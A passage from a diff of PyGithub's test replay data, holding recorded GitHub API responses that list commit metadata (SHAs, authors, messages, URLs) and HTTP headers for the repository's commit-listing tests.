artinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","html_url":"https://github.com/jacquev6/PyGithub/commit/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84"}]},{"sha":"dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:33:13Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:33:13Z"},"message":"Don't think this anchor is needed","tree":{"sha":"08d2bb94751507dfff536d692292680a10bd6062","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/08d2bb94751507dfff536d692292680a10bd6062"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","html_url":"https://github.com/jacquev6/PyGithub/commit/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"a56b10579dcf47c5083b5338b743e827be67bb59","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a56b10579dcf47c5083b5338b743e827be67bb59","html_url":"https://github.com/jacquev6/PyGithub/commit/a56b10579dcf47c5083b5338b743e827be67bb59"}]},{"sha":"a56b10579dcf47c5083b5338b743e827be67bb59","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:32:17Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:32:17Z"},"message":"Fix Event url","tree":{"sha":"5e4c1acdc1aebc22acdc26af24256609d8e4cbd9","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/5e4c1acdc1aebc22acdc26af24256609d8e4cbd9"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/a56b10579dcf47c5083b5338b743e827be67bb59","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a56b10579dcf47c5083b5338b743e827be67bb59","html_url":"https://github.com/jacquev6/PyGithub/commit/a56b10579dcf47c5083b5338b743e827be67bb59","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a56b10579dcf47c5083b5338b743e827be67bb59/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"8d236e91578eb4d1b967b419d0cf34573338a177","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8d236e91578eb4d1b967b419d0cf34573338a177","html_url":"https://github.com/jacquev6/PyGithub/commit/8d236e91578eb4d1b967b419d0cf34573338a177"}]},{"sha":"8d236e91578eb4d1b967b419d0cf34573338a177","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:31:00Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:31:00Z"},"message":"Event docstring","tree":{"sha":"34c2d6b2c2acc221f8248e62331612781d182639","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/34c2d6b2c2acc221f8248e62331612781d182639"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8d236e91578eb4d1b967b419d0cf34573338a177","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8d236e91578eb4d1b967b419d0cf34573338a177","html_url":"https://github.com/jacquev6/PyGithub/commit/8d236e91578eb4d1b967b419d0cf34573338a177","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8d236e91578eb4d1b967b419d0cf34573338a177/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"5ce5f5c68418bf45797f19cb0a50c03d429c90b5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","html_url":"https://github.com/jacquev6/PyGithub/commit/5ce5f5c68418bf45797f19cb0a50c03d429c90b5"}]},{"sha":"5ce5f5c68418bf45797f19cb0a50c03d429c90b5","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:29:35Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:29:35Z"},"message":"Label docstring","tree":{"sha":"eee731e4946523d814f281722d789edba808e8ef","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/eee731e4946523d814f281722d789edba808e8ef"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","html_url":"https://github.com/jacquev6/PyGithub/commit/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"21cf9b15b57cb919f0ebb4fcd6117cea4b6f1163","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/21cf9b15b57cb919f0ebb4fcd6117cea4b6f1163","html_url":"https://github.com/jacquev6/PyGithub/commit/21cf9b15b57cb919f0ebb4fcd6117cea4b6f1163"}]}] - diff --git a/tests/ReplayData/Repository.testGetCommitsWithSinceUntil.txt b/tests/ReplayData/Repository.testGetCommitsWithSinceUntil.txt index 58bf8b5a4f..9fd471e40e 100644 --- a/tests/ReplayData/Repository.testGetCommitsWithSinceUntil.txt +++ b/tests/ReplayData/Repository.testGetCommitsWithSinceUntil.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '54863'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 19 Mar 2013 21:07:42 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first"'), ('etag', '"8258d1301946e26d0951ed19a62b5770"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 19 Aug 2013 21:23:00 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1376950974')] [{"sha":"0901df1a2bed3f993cfe6e0d4cff5923bbf6ce32","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T21:07:42Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T21:07:42Z"},"message":"Improve test coverage (pull #148)","tree":{"sha":"1abc0c2cec68aa8cb836475de9a38d6dad198dff","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/1abc0c2cec68aa8cb836475de9a38d6dad198dff"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0901df1a2bed3f993cfe6e0d4cff5923bbf6ce32","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0901df1a2bed3f993cfe6e0d4cff5923bbf6ce32","html_url":"https://github.com/jacquev6/PyGithub/commit/0901df1a2bed3f993cfe6e0d4cff5923bbf6ce32","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0901df1a2bed3f993cfe6e0d4cff5923bbf6ce32/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"edcf40bc7f25d1aff5c404406fbb37ad1bcf691e","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/edcf40bc7f25d1aff5c404406fbb37ad1bcf691e","html_url":"https://github.com/jacquev6/PyGithub/commit/edcf40bc7f25d1aff5c404406fbb37ad1bcf691e"}]},{"sha":"edcf40bc7f25d1aff5c404406fbb37ad1bcf691e","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T21:07:29Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T21:07:29Z"},"message":"Move get_notification(s) to AuthenticatedUser (pull #148)","tree":{"sha":"947fbb709f47ea922ee93babdba30035970ab36b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/947fbb709f47ea922ee93babdba30035970ab36b"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/edcf40bc7f25d1aff5c404406fbb37ad1bcf691e","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/edcf40bc7f25d1aff5c404406fbb37ad1bcf691e","html_url":"https://github.com/jacquev6/PyGithub/commit/edcf40bc7f25d1aff5c404406fbb37ad1bcf691e","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/edcf40bc7f25d1aff5c404406fbb37ad1bcf691e/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"f25c54e1d4eefb11c18f3de85270a4b19edea3ce","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f25c54e1d4eefb11c18f3de85270a4b19edea3ce","html_url":"https://github.com/jacquev6/PyGithub/commit/f25c54e1d4eefb11c18f3de85270a4b19edea3ce"}]},{"sha":"f25c54e1d4eefb11c18f3de85270a4b19edea3ce","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T20:27:34Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T20:27:34Z"},"message":"Fix documentation (pull #148)\n\nI had to separate class NotificationSubject in its own file, to cope\nwith my basic doc generation.","tree":{"sha":"66997949fd7a929bf1b2ae0d1d9bea09eab0e743","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/66997949fd7a929bf1b2ae0d1d9bea09eab0e743"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/f25c54e1d4eefb11c18f3de85270a4b19edea3ce","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f25c54e1d4eefb11c18f3de85270a4b19edea3ce","html_url":"https://github.com/jacquev6/PyGithub/commit/f25c54e1d4eefb11c18f3de85270a4b19edea3ce","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f25c54e1d4eefb11c18f3de85270a4b19edea3ce/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"23d668f11bdd806a871e0979bf5295d001f66ef2","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/23d668f11bdd806a871e0979bf5295d001f66ef2","html_url":"https://github.com/jacquev6/PyGithub/commit/23d668f11bdd806a871e0979bf5295d001f66ef2"}]},{"sha":"23d668f11bdd806a871e0979bf5295d001f66ef2","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T20:26:28Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-19T20:26:28Z"},"message":"Remove debug print (pull #148)","tree":{"sha":"72c53c895578a8fd7ce3686de239e4817bdac4ab","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/72c53c895578a8fd7ce3686de239e4817bdac4ab"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/23d668f11bdd806a871e0979bf5295d001f66ef2","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/23d668f11bdd806a871e0979bf5295d001f66ef2","html_url":"https://github.com/jacquev6/PyGithub/commit/23d668f11bdd806a871e0979bf5295d001f66ef2","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/23d668f11bdd806a871e0979bf5295d001f66ef2/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"50a243671f1fa139cb1186c4a44c1e96b8cd5749","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/50a243671f1fa139cb1186c4a44c1e96b8cd5749","html_url":"https://github.com/jacquev6/PyGithub/commit/50a243671f1fa139cb1186c4a44c1e96b8cd5749"}]},{"sha":"50a243671f1fa139cb1186c4a44c1e96b8cd5749","commit":{"author":{"name":"Peter Golm","email":"golm.peter@gmail.com","date":"2013-03-16T16:35:08Z"},"committer":{"name":"Peter Golm","email":"golm.peter@gmail.com","date":"2013-03-16T16:35:08Z"},"message":"Merge remote-tracking branch 'origin/develop' into NotificationAPI","tree":{"sha":"8f94dd4410d42c8f3d5d6429da010b782e894213","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/8f94dd4410d42c8f3d5d6429da010b782e894213"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/50a243671f1fa139cb1186c4a44c1e96b8cd5749","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/50a243671f1fa139cb1186c4a44c1e96b8cd5749","html_url":"https://github.com/jacquev6/PyGithub/commit/50a243671f1fa139cb1186c4a44c1e96b8cd5749","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/50a243671f1fa139cb1186c4a44c1e96b8cd5749/comments","author":{"login":"pgolm","id":1444194,"avatar_url":"https://2.gravatar.com/avatar/c6d6b2eb927ed858092c47da9f150372?d=https%3A%2F%2Fidenticons.github.com%2F57b229318d141b9912e2aa86fa75f97f.png","gravatar_id":"c6d6b2eb927ed858092c47da9f150372","url":"https://api.github.com/users/pgolm","html_url":"https://github.com/pgolm","followers_url":"https://api.github.com/users/pgolm/followers","following_url":"https://api.github.com/users/pgolm/following{/other_user}","gists_url":"https://api.github.com/users/pgolm/gists{/gist_id}","starred_url":"https://api.github.com/users/pgolm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pgolm/subscriptions","organizations_url":"https://api.github.com/users/pgolm/orgs","repos_url":"https://api.github.com/users/pgolm/repos","events_url":"https://api.github.com/users/pgolm/events{/privacy}","received_events_url":"https://api.github.com/users/pgolm/received_events","type":"User"},"committer":{"login":"pgolm","id":1444194,"avatar_url":"https://2.gravatar.com/avatar/c6d6b2eb927ed858092c47da9f150372?d=https%3A%2F%2Fidenticons.github.com%2F57b229318d141b9912e2aa86fa75f97f.png","gravatar_id":"c6d6b2eb927ed858092c47da9f150372","url":"https://api.github.com/users/pgolm","html_url":"https://github.com/pgolm","followers_url":"https://api.github.com/users/pgolm/followers","following_url":"https://api.github.com/users/pgolm/following{/other_user}","gists_url":"https://api.github.com/users/pgolm/gists{/gist_id}","starred_url":"https://api.github.com/users/pgolm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pgolm/subscriptions","organizations_url":"https://api.github.com/users/pgolm/orgs","repos_url":"https://api.github.com/users/pgolm/repos","events_url":"https://api.github.com/users/pgolm/events{/privacy}","received_events_url":"https://api.github.com/users/pgolm/received_events","type":"User"},"parents":[{"sha":"6a3a384fd0decac1203db6c2bddc58039b0390bc","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6a3a384fd0decac1203db6c2bddc58039b0390bc","html_url":"https://github.com/jacquev6/PyGithub/commit/6a3a384fd0decac1203db6c2bddc58039b0390bc"},{"sha":"82f5b4c61f86ae8c7cc85a31cb1a31180eeae32f","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/82f5b4c61f86ae8c7cc85a31cb1a31180eeae32f","html_url":"https://github.com/jacquev6/PyGithub/commit/82f5b4c61f86ae8c7cc85a31cb1a31180eeae32f"}]},{"sha":"6a3a384fd0decac1203db6c2bddc58039b0390bc","commit":{"author":{"name":"Peter Golm","email":"golm.peter@gmail.com","date":"2013-03-16T16:28:56Z"},"committer":{"name":"Peter Golm","email":"golm.peter@gmail.com","date":"2013-03-16T16:28:56Z"},"message":"this fixes 